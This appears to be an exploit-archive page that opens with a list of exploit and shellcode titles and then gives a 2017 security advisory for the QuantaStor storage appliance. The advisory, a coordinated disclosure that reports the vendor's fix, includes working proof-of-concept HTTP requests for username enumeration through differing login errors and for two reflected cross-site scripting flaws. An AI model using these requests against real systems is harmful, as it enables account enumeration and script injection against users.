
27 new exploits Microsoft Edge Chakra - Uninitialized Arguments Microsoft Edge Chakra - Uninitialized Arguments (1) MyDoomScanner 1.00 - Local Buffer Overflow (PoC) DSScan 1.0 - Local Buffer Overflow (PoC) MessengerScan 1.05 - Local Buffer Overflow (PoC) NoviFlow NoviWare <= NW400.2.6 - Multiple Vulnerabilities Dive Assistant Template Builder 8.0 - XML External Entity Injection Kolibri WebServer 2.0 - Buffer Overflow with EMET 5.0 and EMET 4.1 Partial Bypass Kolibri WebServer 2.0 - Buffer Overflow (EMET 5.0 / EMET 4.1 Partial Bypass) SpyCamLizard 1.230 - Buffer Overflow Mozilla Firefox < 45.0 - 'nsHtml5TreeBuilder' Use-After-Free (EMET 5.52 Bypass) BSD/x86 - setuid/portbind 31337/TCP Shellcode (94 bytes) BSD/x86 - Bind Shell 31337/TCP + setuid(0) Shellcode (94 bytes) BSD/x86 - Bind 31337/TCP Shellcode (83 bytes) BSD/x86 - Bind Shell 31337/TCP Shellcode (83 bytes) BSD/x86 - break chroot Shellcode (45 bytes) BSD/x86 - Break chroot Shellcode (45 bytes) BSD/x86 - connect torootteam.host.sk:2222 Shellcode (93 bytes) BSD/x86 - Connect torootteam.host.sk:2222 Shellcode (93 bytes) BSD/x86 - Reverse Portbind 6969/TCP Shellcode (129 bytes) BSD/x86 - Reverse Shell 6969/TCP Shellcode (129 bytes) FreeBSD/x86 - Reverse Portbind 127.0.0.1:8000 /bin/sh Shellcode (89 bytes) FreeBSD/x86 - Reverse Shell 127.0.0.1:8000 /bin/sh Shellcode (89 bytes) (Generator) - HTTP/1.x Requests Shellcode (18+ bytes / 26+ bytes) (Generator) - HTTP/1.x Requests Shellcode (18+/26+ bytes) Cisco IOS - Connectback Port 21 Shellcode Cisco IOS - Connectback 21/TCP Shellcode Linux/x86 - Reverse Telnet Shellcode (134 bytes) Linux/x86 - Reverse Telnet Shell (200.182.207.235) Shellcode (134 bytes) Windows 9x/NT/2000/XP - Reverse Generic without Loader Shellcode (249 bytes) Windows 9x/NT/2000/XP - Reverse Generic without Loader (192.168.1.11:4919) Shellcode (249 bytes) ARM - Bind Shell Port 0x1337 Shellcode ARM - Bind Connect 68/UDP Shellcode ARM - Bind Shell 0x1337/TCP Shellcode ARM - Bind Connect 68/UDP (Reverse Shell 192.168.0.1:67/UDP) Shellcode OSX/Intel (x86-64) - reverse_tcp shell Shellcode (131 bytes) OSX/Intel (x86-64) - Reverse TCP Shell (FFFFFFFF:4444/TCP) Shellcode (131 bytes) Windows - DNS Reverse Download and Exec Shellcode (Metasploit) Windows - Reverse Download and Execute via DNS (IPv6) Shellcode (Metasploit) Linux/ARM (Raspberry Pi) - reverse_shell (tcp_10.1.1.2_0x1337) Shellcode (72 bytes) Linux/ARM (Raspberry Pi) - Reverse TCP Shell (10.1.1.2:0x1337/TCP) Shellcode (72 bytes) Linux/x86 - Reverse TCP (192.168.1.10:31337) Shellcode (92 bytes) Linux/x86 - Reverse TCP Shell (192.168.1.10:31337/TCP) Shellcode (92 bytes) Windows x86 - Reverse Persistent TCP Shellcode (494 Bytes) Windows x86 - Reverse TCP Persistent Shell (192.168.232.129:4444/TCP) Shellcode (494 Bytes) Linux/x86-64 - Reverse TCP Password Prompt Shellcode (151 bytes) Linux/x86-64 - Reverse TCP Password Prompt Shell (127.0.0.1:4444) Shellcode (151 bytes) Linux x86/x86-64 - reverse_tcp (192.168.1.29:4444) Shellcode (195 bytes) Linux x86/x86-64 - Reverse TCP Shell (192.168.1.29:4444/TCP) Shellcode (195 bytes) Linux/x86-64 - shell_reverse_tcp Password Polymorphic Shellcode (1) (122 bytes) Linux/x86-64 - shell_reverse_tcp Password Polymorphic Shellcode (2) (135 bytes) Linux/x86-64 - Reverse TCP Password Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (1) (122 bytes) Linux/x86-64 - Reverse TCP Password Polymorphic Shell (127.0.0.1:4444/TCP) Shellcode (2) (135 bytes) Linux/x86 - Reverse TCP Shellcode (IPv6) (159 bytes) Linux/x86 - Reverse TCP (IPv6) Shellcode (159 bytes) Linux/x86-64 - Bind 1472/TCP Shellcode (IPv6) (199 bytes) Linux/x86-64 - Reverse TCP Shellcode (IPv6) (203 bytes) Linux/x86-64 - Bind 1472/TCP (IPv6) Shellcode (199 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.209.131:1472/TCP) (IPv6) Shellcode (203 bytes) Linux/x86 - Bind Shell Configurable Port Shellcode (87 bytes) Linux/x86-64 - Reverse TCP Shell Null-Free Shellcode (134 bytes) Linux/x86 - Bind Shell 1234/TCP (Configurable Port) Shellcode (87 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:1234/TCP) Shellcode (134 bytes) Linux/x86 - Reverse TCP Shellcode (75 bytes) Linux/x86 - Reverse TCP Shell Shellcode (75 bytes) Linux/x86-64 - Syscall Persistent Bind Shell / Multi-terminal / Password / Daemon Shellcode (83_ 148_ 177 bytes) Linux/x86-64 - Syscall Persistent Bind Shell / Multi-terminal / Password / Daemon Shellcode (83/148/177 bytes) Linux/x86-64 - Subtle Probing Reverse Shell / Timer_ Burst / Password / Multi-Terminal Shellcode (84_ 122_ 172 bytes) Linux/x86-64 - Reverse TCP Shell (10.1.1.4:46357) / Subtle Probing / Timer / Burst / Password / Multi-Terminal Shellcode (84/122/172 bytes) Linux/x86 - Bind Netcat with Port Shellcode (44/52 bytes) Linux/x86 - Bind Netcat 98/TCP + UDP Shellcode (44/52 bytes) Linux/x86 - Reverse ZSH 127.255.255.254:9090/TCP Shellcode (80 bytes) Linux/x86 - Reverse TCP ZSH (127.255.255.254:9090/TCP) Shellcode (80 bytes) Windows x86 - Reverse UDP Keylogger Shellcode (493 bytes) Windows x64 - Reverse Shell TCP Shellcode (694 bytes) Windows x86 - Reverse UDP Keylogger (www.example.com:4444/UDP) Shellcode (493 bytes) Windows x64 - Reverse TCP Shell (192.168.232.129:4444/TCP) Shellcode (694 bytes) Linux/x86-64 - Reverse TCP Shellcode (65 bytes) Linux/x86-64 - Reverse TCP Shell (127.0.0.1:4444/TCP) Shellcode (65 bytes) Linux/x86-64 - Reverse Shell Shellcode (84 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shellcode (332 Bytes) Linux/x86-64 - Reverse TCP Shell Shellcode (84 bytes) Windows x86 - Reverse TCP Staged Alphanumeric Shell (127.0.0.1:4444/TCP) Shellcode (332 Bytes) Linux/x86-64 - Reverse Netcat Shellcode (72 bytes) Linux/x86-64 - Reverse Netcat (127.0.0.1:1337) Shellcode (72 bytes) Linux/x86 - Reverse TCP Shellcode (67 bytes) Linux/x86 - Reverse TCP Shell Shellcode (67 bytes) Linux/x86-64 - Reverse Shell Shellcode (IPv6) (113 bytes) Linux/x86-64 - Reverse TCP Shell (::1:1472/TCP) Shellcode (IPv6) (113 bytes) Linux/x86_64 - execve(_/bin/sh_) Shellcode (24 bytes) Linux/x86 - Reverse UDP Shellcode (668 bytes) Linux/x86 - Bind Shell Shellcode (75 bytes) Linux/x86_64 - Reverse Shell (192.168.1.8:4444) Shellcode (104 bytes) Linux/x86-64 - execve(_/bin/sh_) Shellcode (24 bytes) Linux/x86 - Reverse UDP Shell (127.0.0.1:53/UDP) Shellcode (668 bytes) Linux/x86 - Bind Shell 4444/TCP Shellcode (75 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.8:4444/TCP) Shellcode (104 bytes) Linux/x86-64 - Reverse TCP Shell (192.168.1.2:4444/TCP) Shellcode (153 bytes) SOA School Management - SQL Injection SOA School Management - 'view' Parameter SQL Injection Sungard eTRAKiT3 <= 3.2.1.17 - SQL Injection Food Ordering Script 1.0 - SQL Injection LiveCRM 1.0 - SQL Injection LiveSupport 1.0 - SQL Injection LiveInvoices 1.0 - SQL Injection LiveSales 1.0 - SQL Injection LiveProjects 1.0 - SQL Injection Symantec Messaging Gateway 10.6.3-2 - Unauthenticated root Remote Command Execution Joomla! Component Appointment 1.1 - SQL Injection Joomla! Component Twitch Tv 1.1 - SQL Injection Joomla! Component KissGallery 1.0.0 - SQL Injection Matrimony Script 2.7 - SQL Injection eCardMAX 10.5 - SQL Injection SOA School Management 3.0 - SQL Injection Joomla! Component Zap Calendar Lite 4.3.4 - SQL Injection Joomla! Component Calendar Planner 1.0.1 - SQL Injection Joomla! Component SP Movie Database 1.3 - SQL Injection DeWorkshop 1.0 - Arbitrary File Upload QuantaStor Software Defined Storage < 4.3.1 - Multiple Vulnerabilities
157 lines
No EOL
6.6 KiB
Text
Executable file
157 lines
No EOL
6.6 KiB
Text
Executable file
1. --- Advisory details ---
|
|
|
|
Title: QuantaStor Software Define Storage mmultiple vulnerabilities
|
|
|
|
Advisory ID: VVVSEC-2017-6943
|
|
|
|
Advisory URL: http://www.vvvsecurity.com/advisories/vvvsecurity-advisory-2017-6943.txt
|
|
|
|
Date published: 12/08/2017
|
|
|
|
CVEs:
|
|
CVE-2017-9978 "Brute force login request using http post mechanism returns different errors",
|
|
CVE-2017-9979 "Rest call made for methods not implemented in the server return a response with the invalid method previously invoked."
|
|
|
|
CVSS v3.0 score:
|
|
CVE-2017-9978 5.3 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
|
|
CVE-2017-9979 6.1 MEDIUM (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N)
|
|
|
|
2. --- Vulnerability details ---
|
|
|
|
Class:
|
|
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
|
|
CWE-203: Information Exposure Through Discrepancy
|
|
|
|
Impact: Information disclosure
|
|
|
|
Remotely Exploitable: Yes
|
|
Locally Exploitable: No
|
|
|
|
3. --- Vulnerability Description ---
|
|
|
|
OSNEXUS QuantaStor [1] Software Define Storage appliance was designed to ease the process of storage management.
|
|
From vendor's website "...QuantaStor SDS, deployed in datacenters worldwide, addresses a broad set of storage use
|
|
cases including server virtualization, big data, cloud computing, and high performance applications
|
|
through scale-out physical and virtual storage appliances..."
|
|
|
|
Three different vulnerabilities were found in the appliance. A user enumeration attack and two unauthenticated XSS.
|
|
These vulnerabilities could allow a remote attacker to obtain valid usernames to perform bruteforce attacks and
|
|
obtain sensitive information.
|
|
|
|
|
|
4. --- Affected software versions ---
|
|
|
|
OSNEXUS QuantaStor v4 virtual appliance
|
|
|
|
5. --- Technical description ---
|
|
|
|
5.1 --- User enumeration ---
|
|
|
|
QuantaStor login mechanism returns different messages if the account used to perform the login is valid or not in the system.
|
|
Leveraging this difference an attacker could be able to enumerate valid accounts.
|
|
|
|
5.1.1 --- Proof of Concept ---
|
|
|
|
Executing the following HTTP requests an attacker can perform a login request.
|
|
|
|
"""
|
|
|
|
POST / HTTP/1.0
|
|
Content-Type: text/xml; charset=utf-8
|
|
Accept: application/soap+xml, application/dime, multipart/related, text/*
|
|
User-Agent: Axis/1.4
|
|
Host: localhost:5152
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
SOAPAction: ""
|
|
Authorization: Basic <REPLACE WITH BASE64 Encoded credentials>
|
|
Content-Length: 384
|
|
|
|
|
|
<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
|
|
<soapenv:Body>
|
|
<objectGet xmlns="http://quantastor.osnexus.com/webservices/osn.xsd"><reserved xmlns="">
|
|
</reserved></auditLogGet></soapenv:Body></soapenv:Envelope>
|
|
|
|
"""
|
|
|
|
If the user included in the request is valid, the error returned by the application will be:
|
|
|
|
<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication check failed for 'admin',
|
|
please verify your password was entered correctly. (10.10.0.1) [err=26]
|
|
</fault></faultstring><detail><detail><msg>Authentication check failed for 'admin', please verify your password was entered correctly. (10.10.0.1)
|
|
[err=26]</msg><loc>service/osn_security_manager.cpp:1298</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
|
|
|
But if the user doesn't exist in the system, the message will be:
|
|
|
|
<SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>SOAP-ENV:Server</faultcode><faultstring><fault>Authentication failed, please
|
|
verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]</fault></faultstring><detail><detail><msg>
|
|
Authentication failed, please verify your username, 'TESTUSER' is invalid. (10.10.0.1) [err=26]
|
|
</msg><loc>service/osn_security_manager.cpp:1256</loc></detail></detail></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
|
|
|
|
5.2 --- Cross Site Scripting in "qsCall" parameter
|
|
|
|
QuantaStor API accepts parameters through the use of the "qsCall" parameter. If the method called
|
|
doesn't exist an error will be triggered containing the invalid method previously invoked.
|
|
The response sent to the user isn't sanitized.
|
|
An attacker can leverage this issue including arbitrary HTML or JavaScript code in the qsCall parameter.
|
|
|
|
5.2.2 --- Proof of Concept ---
|
|
|
|
Execute the following HTTP request.
|
|
|
|
"""
|
|
https://<HOST>:8153/qstorapi?qsCall=%3Cscript%3Ealert(1)%3C/script%3E
|
|
"""
|
|
|
|
5.3 --- Cross Site Scripting in "/qstorapi/jsonrpc"
|
|
|
|
QuantaStor "jsonrpc "API accepts parameters through the use of a JSON dictionary. If the method called
|
|
doesn't exist an error will be triggered containing the invalid method previously invoked.
|
|
The response sent to the user isn't sanitized.
|
|
An attacker can leverage this issue including arbitrary HTML or JavaScript code in the "method" key.
|
|
|
|
5.3.1 --- Proof of Concept ---
|
|
|
|
Execute the following HTTP request.
|
|
|
|
"""
|
|
POST /qstorapi/jsonrpc HTTP/1.0
|
|
|
|
Accept: application/soap+xml, application/dime, multipart/related, text/*
|
|
User-Agent: Axis/1.4
|
|
Host: <HOST>:8153
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
Content-Type: application/json
|
|
Content-Length: 54
|
|
|
|
|
|
{"method":"<script>alert(1)</script>", "params":"asd"}
|
|
"""
|
|
|
|
|
|
6. --- Vendor information ---
|
|
|
|
OSNEXUS released Quantastor version 4.3.1 fixing CVE-2017-9978 and CVE-2017-9979
|
|
|
|
7. --- Credits ---
|
|
|
|
These vulnerabilities were discovered by Nahuel D. Sanchez, VVVSecurity
|
|
|
|
8. --- Report timeline ---
|
|
|
|
25/06/2017 -- VVVSecurity sent Advisory to OSNEXUS
|
|
29/06/2017 -- OSNEXUS confirmed the security vulnerabilities, CVE-2017-9978 and CVE-2017-9979 were provided.
|
|
24/07/2017 -- OSNEXUS released QuantaStor version 4.3.1
|
|
12/08/2017 -- Security Advisory published
|
|
|
|
9. --- References ---
|
|
|
|
[1] https://www.osnexus.com/software-defined-storage/
|
|
|
|
10. --- Copyright ---
|
|
|
|
The contents of this advisory are copyright (c) 2017 VVVSecurity and are licensed
|
|
under a Creative Commons Attribution Non-Commercial Share-Alike 4.0
|
|
License: http://creativecommons.org/licenses/by-nc-sa/4.0/ <http://creativecommons.org/licenses/by-nc-sa/4.0/> |